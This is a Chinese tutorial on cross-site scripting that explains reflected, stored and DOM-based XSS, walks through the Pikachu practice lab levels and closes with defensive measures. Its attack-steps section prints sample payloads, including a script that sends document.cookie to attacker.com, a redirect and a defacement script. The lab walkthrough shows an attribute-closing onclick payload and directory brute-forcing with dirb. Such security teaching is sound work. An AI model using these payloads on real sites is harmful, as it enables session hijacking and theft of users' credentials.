Cross-Site Scripting(XSS)攻击

简介 

XSS(跨站脚本攻击)是一种常见的 Web 安全漏洞,攻击者通过在目标网站的输入框中注入恶意脚本,当其他用户(如管理员)查看包含恶意脚本的页面时,脚本会在他们的浏览器中执行。XSS 攻击可以分为以下几种类型:

  • 存储型 XSS:恶意脚本被存储在服务器的数据库或文件中,当其他用户访问包含恶意脚本的页面时,脚本会被执行。

  • 反射型 XSS:恶意脚本通过 URL 参数或表单提交被反射回用户浏览器,当用户访问包含恶意脚本的页面时,脚本会被执行。

  • DOM 型 XSS:恶意脚本通过修改页面的 DOM 结构,注入恶意脚本,当页面加载时,恶意脚本会被执行。

XSS 攻击步骤

1 识别漏洞

攻击者首先需要识别目标网站中存在 XSS 漏洞的输入点,例如:

  • 评论框

  • 反馈表单

  • 搜索框

  • URL 参数

2 注入恶意脚本

攻击者在识别的输入点中注入恶意脚本。常见的恶意脚本包括:

  • 弹出警告框<script>alert('XSS');</script>

  • 窃取 Cookie<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>

  • 重定向<script>window.location='http://attacker.com';</script>

  • 修改页面内容<script>document.body.innerHTML='<h1>Hacked!</h1>';</script>

3 触发脚本执行

攻击者需要诱导其他用户(如管理员)访问包含恶意脚本的页面,从而触发脚本执行。常见的触发方式包括:

  • 钓鱼链接:攻击者发送包含恶意脚本的钓鱼链接,诱导用户点击。

  • 社交工程:攻击者通过社交工程手段,诱导用户访问包含恶意脚本的页面。

4 获取敏感信息

如果恶意脚本成功执行,攻击者可以获取用户的敏感信息,例如:

  • Cookie:通过窃取 Cookie,攻击者可以冒充用户身份,访问受保护的资源。

  • 会话令牌:通过窃取会话令牌,攻击者可以劫持用户的会话。

  • 其他敏感信息:攻击者可以通过恶意脚本获取用户的其他敏感信息,如用户名、密码等。

下面介绍pikachu靶场的Cross-Site Scripting(XSS)的通关

XSS类型

1.反射型(get)

看到题目表单输入就要考虑是否有xss漏洞

  • 构造payload尝试:发现我们的输入收到限制,属于前端的限制

  • 查看代码尝试修改使得能够输入 

 

  • 对限制长度做出修改

 

  • 修改之后提交设置好的payload发现能够执行了,说明存在漏洞 

 


 2.反射型(POST)

使用已经爆破的用户和密码进行登入发现和上一关是一样的了

 

  • 构造payload后发现也能执行弹框 

 

  • POST与get方法不同的在于post方式提交表单时在URL不会显示,而get方式提交会在URL中显示提交的信息 

 3.存储型XSS

  • 看到时留言板也要想到XSS漏洞,尝试构造payload提交发现能执行,并且发现提交的信息已经进行了存储,当重新进入这个页面时依然会触发弹窗。

 


4.DOM型 XSS

  • 看到表单也是先尝试构造payload提交看看是否有变化 

 

  • 没有任何发现 
  • 查看源代码

 

  • 看到输入框中的内容就是代码中的str,可以尝试在这里构造一个闭合,实现弹窗
  • 重新设置payload: 'οnclick="alert("FF")" ,提交之后点击下面的提示文字发现实现了弹框。

 

 


5.DOM型XSS-X 

  • 与上一关类似,不同的是可以观察到提交的信息可以在URL的text看到,所以也是构造闭合payload后点击下方文字即可

看到弹窗 

 


 6.XSS之盲打

看到题目得输入框首先先随便输入脚本看看有何反应

 

 

  • 当点击提交之后发现没有任何有用的改变,url也没有变化
  • 之后再查看页面的源代码,只能发现post方法提交了输入的东西

 

  • 前端的代码看不出什么问题,尝试登入后台查看有没有什么发现,不知道后台的url,所以可以使用kali的dirb去爆破目录 
  • 登录后发现刚才提交的弹窗已经显示了 

 

  • 并且刚才构造的两个payload已经成功上传 

 


防范措施

为了防范 XSS 攻击,可以采取以下措施:

1 输入验证和过滤

  • 输入验证:对用户输入进行严格的验证,确保输入符合预期的格式和内容。

  • 输出编码:在将用户输入显示到页面上时,进行适当的编码(如 HTML 编码),防止恶意脚本执行。

2 Content Security Policy (CSP)

  • CSP:设置 Content Security Policy,限制页面中可以执行的脚本来源,防止外部脚本的执行。

3 安全头设置

  • X-XSS-Protection:启用浏览器内置的 XSS 过滤器,防止简单的 XSS 攻击。

  • X-Content-Type-Options:防止 MIME 类型嗅探,确保浏览器正确解析内容类型。

4 定期安全审计

  • 代码审查:定期进行代码审查,确保没有潜在的 XSS 漏洞。

  • 安全测试:使用自动化工具和手动测试方法,进行安全测试,如渗透测试、模糊测试等。

5 使用安全的库和框架

  • 使用安全的库和框架:使用经过验证的安全库和框架,避免使用过时或不安全的组件。

 先到这里吧!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/62042.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

uniapp中使用uni-forms实现表单管理,验证表单

前言 uni-forms 是一个用于表单管理的组件。它提供了一种简化和统一的方式来处理表单数据&#xff0c;包括表单验证、字段绑定和提交逻辑等。使用 uni-forms可以方便地创建各种类型的表单&#xff0c;支持数据双向绑定&#xff0c;可以与其他组件及API进行良好的集成。开发者可…

android 11添加切换分屏功能

引言 自Android 7开始官方就支持分屏显示,但没有切换分屏的功能,即交换上下屏幕。直到Android 13开始才支持切换分屏,操作方式是:分屏模式下双击中间分割线就会交换上下屏位置。本文的目的就是在Android 11上实现切换分屏的功能。 下图是Android13切换分屏演示 切换分屏…

springboot项目使用maven打包,第三方jar问题

springboot项目使用maven package打包为可执行jar后&#xff0c;第三方jar会被打包进去吗&#xff1f; 答案是肯定的。做了实验如下&#xff1a; 第三方jar的项目结构及jar包结构如下&#xff1a;&#xff08;该第三方jar采用的是maven工程&#xff0c;打包为普通jar&#xf…

13 —— 开发环境调错-source map

问题&#xff1a;代码被压缩后&#xff0c;无法正确定位源代码的位置&#xff08;行数和列数&#xff09; source map&#xff1a;准确追踪error和warning在原始代码的位置 —— webpack.config.js配置devtool选项 module.exports { devtool: inline-source-map }; inline-s…

数据结构(ArrayList顺序表)

一、引言 1.什么是顺序表 定义&#xff1a; 顺序表是一种基于阵列实现的线性表结构&#xff0c;用连续的存储空间保存表中的数据元素&#xff0c;并按顺序排列。 底层依赖阵列&#xff0c;支持随机访问。元素之间没有额外的连接信息&#xff0c;如指针或链表节点。通过动态扩容…

HTTPS的单向认证和双向认证是什么?有什么区别?

目录标题 单向认证流程双向认证流程区别 单向认证流程 HTTPS单向认证‌是指只有服务器向客户端证明其身份。在这种认证方式中&#xff0c;服务器会向客户端发送一个由可信证书颁发机构&#xff08;CA&#xff09;签发的SSL证书&#xff0c;客户端会验证这个证书以确保服务器的…

Python语法基础(一)

&#x1f308;个人主页&#xff1a;羽晨同学 &#x1f4ab;个人格言:“成为自己未来的主人~” 关键字参数和不定长参数 关键字参数主要体现在函数的调用上 使用关键字参数的好处是&#xff0c;可以不按照形参的参数传参 比如说&#xff0c;我们定义一个函数 def c1(nam…

音视频技术扫盲之预测编码的基本原理探究

预测编码是一种数据压缩技术&#xff0c;广泛应用于图像、视频和音频编码等领域。其基本原理是利用数据的相关性&#xff0c;通过对当前数据的预测和实际值与预测值之间的差值进行编码&#xff0c;从而实现数据压缩的目的。 一、预测编码的基本概念 预测编码主要包括预测器和…

Android BottomNavigationView 底部导航栏使用详解

一、BottomNavigationView简介 BottomNavigationView是官方提供可以实现底部导航的组件&#xff0c;最多支持5个item&#xff0c;主要用于功能模块间的切换&#xff0c;默认会包含动画效果。 官方介绍地址&#xff1a;BottomNavigationView 二、使用BottomNavigationView a…

【大数据学习 | Spark-Core】Spark提交及运行流程

spark的集群运行结构 我们要选择第一种使用方式 命令组成结构 spark-submit [选项] jar包 参数 standalone集群能够使用的选项。 --master MASTER_URL #集群地址 --class class_name #jar包中的类 --executor-memory MEM #executor的内存 --executor-cores NUM # executor的…

React中事件处理和合成事件:理解与使用

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

[241125] X-CMD 发布 v0.4.14:webtop-Linux 容器桌面;支持 PowerShell 环境;轻松搭建并测试蜜罐环境等

目录 X-CMD 发布 v0.4.14&#x1f4c3;Changelog&#x1f427; webtop -- Linux 桌面容器&#x1f5a5;️ pwsh&#x1f4bb; elv|fish|nu|onsh|tcsh&#x1f40b; endlessh&#x1f40b; cowrie&#x1f4f2; mosh&#x1f4bb; mac -- Mac 实用功能&#x1f386; ascii&#…

Jmeter中的测试片段和非测试原件

1&#xff09;测试片段 1--测试片段 功能特点 重用性&#xff1a;将常用的测试元素组合成一个测试片段&#xff0c;便于在多个线程组中重用。模块化&#xff1a;提高测试计划的模块化程度&#xff0c;使测试计划更易于管理和维护。灵活性&#xff1a;可以通过模块控制器灵活地…

linux实时操作系统xenomai看门狗(watchdog)机制及作用介绍

版权声明&#xff1a;本文为本文为博主原创文章&#xff0c;转载请注明出处 https://www.cnblogs.com/wsg1100。如有错误&#xff0c;欢迎指正。 文章目录 一、前言PREEMPT-RT&#xff08;RT Throttling&#xff09; 一、xenomai watchdog介绍二、xenomai watchdog工作原理三、…

【C语言】字符串左旋的三种解题方法详细分析

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C语言 文章目录 &#x1f4af;前言&#x1f4af;题目描述&#x1f4af;方法一&#xff1a;逐字符移动法&#x1f4af;方法二&#xff1a;使用辅助空间法&#x1f4af;方法三&#xff1a;三次反转法&#x1f4af;方法对…

【大模型】LLaMA-Factory的环境配置、微调模型与测试

前言 【一些闲扯】 时常和朋友闲聊&#xff0c;时代发展这么快&#xff0c;在时代的洪流下&#xff0c;我们个人能抓住些什么呢。我问了大模型&#xff0c;文心一言是这样回答的&#xff1a; 在快速发展的时代背景下&#xff0c;个人确实面临着诸多挑战&#xff0c;但同时也充满…

Web 表单开发全解析:从基础到高级掌握 HTML 表单设计

文章目录 前言一、什么是 Web 表单?二、表单元素详解总结前言 在现代 Web 开发中,表单 是用户与后端服务交互的重要桥梁。无论是用户登录、注册、搜索,还是提交反馈,表单都无处不在。在本文中,我们将从基础入手,全面解析表单的核心知识点,并通过示例带你轻松掌握表单开…

nodepad配置c/c++ cmd快速打开创建项目文件

前提:下载MinGw,并且配置环境变量 点击阅读次篇文章配置MinGw 无论是哪个编译器&#xff0c;执行c文件都是经历以下步骤: 编译文件生成exe文件执行该exe文件 我们先手动完成这两部 手动编译文件使用指令 gcc {你的c文件} -o {生成文件名}生成exe文件 第二步运行exe直接点击该文…

打造优秀技术文档的三大方向

✅作者简介&#xff1a;2022年博客新星 第八。热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏…

Xcode15(iOS17.4)打包的项目在 iOS12 系统上启动崩溃

0x00 启动崩溃 崩溃日志&#xff0c;只有 2 行&#xff0c;看不出啥来。 0x01 默认配置 由于我开发时&#xff0c;使用的 Xcode 14.1&#xff0c;打包在另外一台电脑 Xcode 15.3 Xcode 14.1 Build Settings -> Asset Catalog Compliter - Options Xcode 15.3 Build S…